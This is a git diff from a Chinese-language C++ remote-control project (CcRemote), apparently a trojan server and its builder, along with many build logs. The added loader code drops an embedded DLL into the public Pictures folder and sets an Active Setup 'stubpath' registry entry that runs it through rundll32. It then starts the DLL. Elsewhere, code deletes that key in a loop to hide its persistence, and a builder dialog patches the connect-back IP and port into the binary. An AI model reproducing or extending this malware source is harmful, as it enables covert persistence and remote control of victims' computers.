||||
sprintf(ActiveXStr32, "%s%s", "Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid);
|
||||
while (1)
|
||||
{
|
||||
//不停的删除注册表
|
||||
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr);
|
||||
OutputDebugString(ActiveXStr); // 输出删除的字串用以测试
|
||||
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr32);
|
||||
OutputDebugString(ActiveXStr32);
|
||||
Sleep(1000 * 30);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
|
@@ -1,2 +1,17 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj
|
||||
f:\myapp\ccremote\bin\server\loder.exe
|
||||
f:\myapp\ccremote\bin\server\loder.ilk
|
||||
f:\myapp\ccremote\bin\server\loder.pdb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.res
|
||||
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog
|
||||
|
@@ -1,15 +1,30 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
||||
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
|
@@ -1,12 +1,39 @@
|
||||
// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
|
||||
#include <afx.h>
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include "resource.h"
|
||||
#include "RegEditEx.h"
|
||||
#include <shlobj.h>
|
||||
|
||||
|
||||
#pragma comment(lib, "shell32.lib")
|
||||
|
||||
struct Connect_Address
|
||||
{
|
||||
DWORD dwstact;
|
||||
char strIP[MAX_PATH];
|
||||
int nPort;
|
||||
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
|
||||
}g_myAddress = { 0xCC28257,"",0,"" };
|
||||
|
||||
|
||||
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes)
|
||||
{
|
||||
int da, i, j;
|
||||
if (sizes == 0) da = strlen(str);
|
||||
else da = sizes;
|
||||
for (i = 0; i < sizem; i++)
|
||||
{
|
||||
for (j = 0; j < da; j++)
|
||||
if (mem[i + j] != str[j]) break;
|
||||
if (j == da) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
{
|
||||
DWORD dwWritten;
|
||||
@@ -24,7 +51,7 @@ bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
return true;
|
||||
}
|
||||
//要释放的路径 资源ID 资源名
|
||||
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName)
|
||||
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName,char* pActiveXKeyGuid = NULL)
|
||||
{
|
||||
HRSRC hResInfo;
|
||||
HGLOBAL hResData;
|
||||
@@ -56,6 +83,20 @@ bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResource
|
||||
// 复制资源数据
|
||||
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
|
||||
|
||||
// 设置guid
|
||||
if (pActiveXKeyGuid != NULL)
|
||||
{
|
||||
g_myAddress.dwstact = g_myAddress.dwstact - 1;//不然内存中会有两个CC28256 我们只招一个
|
||||
int nOffset = memfind((char*)p, (char*)&g_myAddress.dwstact, dwSize, sizeof(DWORD));
|
||||
if (nOffset >= 0)
|
||||
{
|
||||
memcpy(&g_myAddress, p + nOffset, sizeof(Connect_Address));
|
||||
strcpy(g_myAddress.ActiveXKeyGuid, pActiveXKeyGuid);
|
||||
memcpy(p + nOffset, &g_myAddress, sizeof(Connect_Address));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
bool bRet = CreateMyFile(strFilePath, p, dwSize);
|
||||
if (!bRet)
|
||||
{
|
||||
@@ -94,7 +135,7 @@ char *AddsvchostService()
|
||||
char servicename[50];
|
||||
do
|
||||
{
|
||||
//这里获得类似这样的服务名netsvcs_0,netsvcs_1。。。。。。。
|
||||
//这里获得类似这样的服务名netsvcs_0,netsvcs_1
|
||||
wsprintf(servicename, "netsvcs_0x%d", i);
|
||||
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
|
||||
{
|
||||
@@ -148,7 +189,7 @@ void StartService(LPCTSTR lpService)
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
int ServerSetup()
|
||||
{
|
||||
|
||||
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
|
||||
@@ -219,7 +260,6 @@ int main()
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
|
||||
|
||||
printf("123");
|
||||
if (schService != NULL)
|
||||
{
|
||||
CreateEXE(strModulePath, IDR_DLL1, "DLL");
|
||||
@@ -232,4 +272,95 @@ int main()
|
||||
system("pause");
|
||||
return 0;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
BOOL GetNUM(char *num)
|
||||
{
|
||||
CoInitialize(NULL);
|
||||
char buf[64] = { 0 };
|
||||
GUID guid;
|
||||
if (S_OK == ::CoCreateGuid(&guid))
|
||||
{
|
||||
_snprintf(buf, sizeof(buf)
|
||||
, "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}"
|
||||
, guid.Data1
|
||||
, guid.Data2
|
||||
, guid.Data3
|
||||
, guid.Data4[0], guid.Data4[1], guid.Data4[2]
|
||||
, guid.Data4[3], guid.Data4[4], guid.Data4[5]
|
||||
, guid.Data4[6], guid.Data4[7]
|
||||
);
|
||||
}
|
||||
CoUninitialize();
|
||||
memcpy(num, buf, 64);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ActiveXSetup()
|
||||
{
|
||||
HKEY hKey;
|
||||
char strFileName[MAX_PATH]; // dll文件名
|
||||
char ActivexStr[1024]; // 用于存储ActiveX的键字串
|
||||
char ActiveXKey[64]; // ActiveX 的GUID字串
|
||||
char strCmdLine[MAX_PATH]; // 存储启动的命令行参数
|
||||
char fileName[MAX_PATH] = "cserver"; // ActiveX 的GUID字串
|
||||
|
||||
// ActiveX路径
|
||||
char ActiveXPath[MAX_PATH] = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\";
|
||||
|
||||
ZeroMemory(strFileName, MAX_PATH);
|
||||
//ZeroMemory(ActiveXPath, MAX_PATH);
|
||||
ZeroMemory(ActivexStr, 1024);
|
||||
ZeroMemory(ActiveXKey, 64);
|
||||
ZeroMemory(strCmdLine, MAX_PATH);
|
||||
|
||||
//得到Activex路径
|
||||
//strcpy(ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\");
|
||||
//得到Activex的GUID
|
||||
GetNUM(ActiveXKey);
|
||||
//构造dll完整文件名
|
||||
//GetSystemDirectory(strFileName, MAX_PATH);
|
||||
SHGetSpecialFolderPath(NULL, strFileName, CSIDL_COMMON_PICTURES, TRUE);
|
||||
strcat(strFileName, "\\");
|
||||
strcat(strFileName, fileName);
|
||||
strcat(strFileName, ".dll");
|
||||
|
||||
|
||||
|
||||
//构造ActiveX的注册表键值
|
||||
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
|
||||
//创建这个注册表
|
||||
RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey);
|
||||
|
||||
//构造程序启动的命令行参数
|
||||
sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName);
|
||||
//将参数写道注册表中
|
||||
RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine));
|
||||
//RegCloseKey(hKey);
|
||||
//释放文件
|
||||
CreateEXE(strFileName, IDR_DLL1, "DLL", ActiveXKey);
|
||||
|
||||
//启动服务端
|
||||
STARTUPINFO StartInfo;
|
||||
PROCESS_INFORMATION ProcessInformation;
|
||||
StartInfo.cb = sizeof(STARTUPINFO);
|
||||
StartInfo.lpDesktop = NULL;
|
||||
StartInfo.lpReserved = NULL;
|
||||
StartInfo.lpTitle = NULL;
|
||||
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
StartInfo.cbReserved2 = 0;
|
||||
StartInfo.lpReserved2 = NULL;
|
||||
StartInfo.wShowWindow = SW_SHOWNORMAL;
|
||||
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
|
||||
return;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// TODO: Place code here.
|
||||
ActiveXSetup();
|
||||
return 0;
|
||||
}
|
||||
|
@@ -172,6 +172,9 @@
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="icon1.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
@@ -35,4 +35,9 @@
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="icon1.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -1,18 +1,2 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.obj
|
||||
g:\ccremote\ccremote\bin\server\loder.exe
|
||||
g:\ccremote\ccremote\bin\server\loder.pdb
|
||||
g:\ccremote\ccremote\bin\server\loder.ipdb
|
||||
g:\ccremote\ccremote\bin\server\loder.iobj
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\loder.write.1u.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\release\loder.res
|
||||
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
|
@@ -1,18 +1,33 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
正在生成代码
|
||||
All 10 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
All 66 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
||||
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
|
BIN
CcMainDll/Loder/icon1.ico
Normal file
After Width: | Height: | Size: 359 KiB |
@@ -3,12 +3,13 @@
|
||||
// <20><> Loder.rc ʹ<><CAB9>
|
||||
//
|
||||
#define IDR_DLL1 101
|
||||
#define IDI_ICON1 102
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 102
|
||||
#define _APS_NEXT_RESOURCE_VALUE 103
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
|
@@ -1 +1,14 @@
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
|
||||
f:\myapp\ccremote\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\bin\server\testloaddll.pdb
|
||||
f:\myapp\ccremote\bin\server\testloaddll.ipdb
|
||||
f:\myapp\ccremote\bin\server\testloaddll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog
|
||||
|
167
CcRemote/CcRemote/CBuildDlg.cpp
Normal file
@@ -0,0 +1,167 @@
|
||||
// CBuildDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CBuildDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include <io.h>
|
||||
|
||||
|
||||
struct Connect_Address
|
||||
{
|
||||
DWORD dwstact;
|
||||
char strIP[MAX_PATH];
|
||||
int nPort;
|
||||
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
|
||||
}g_myAddress = { 0xCC28256,"",0,"" };
|
||||
// CBuildDlg 对话框
|
||||
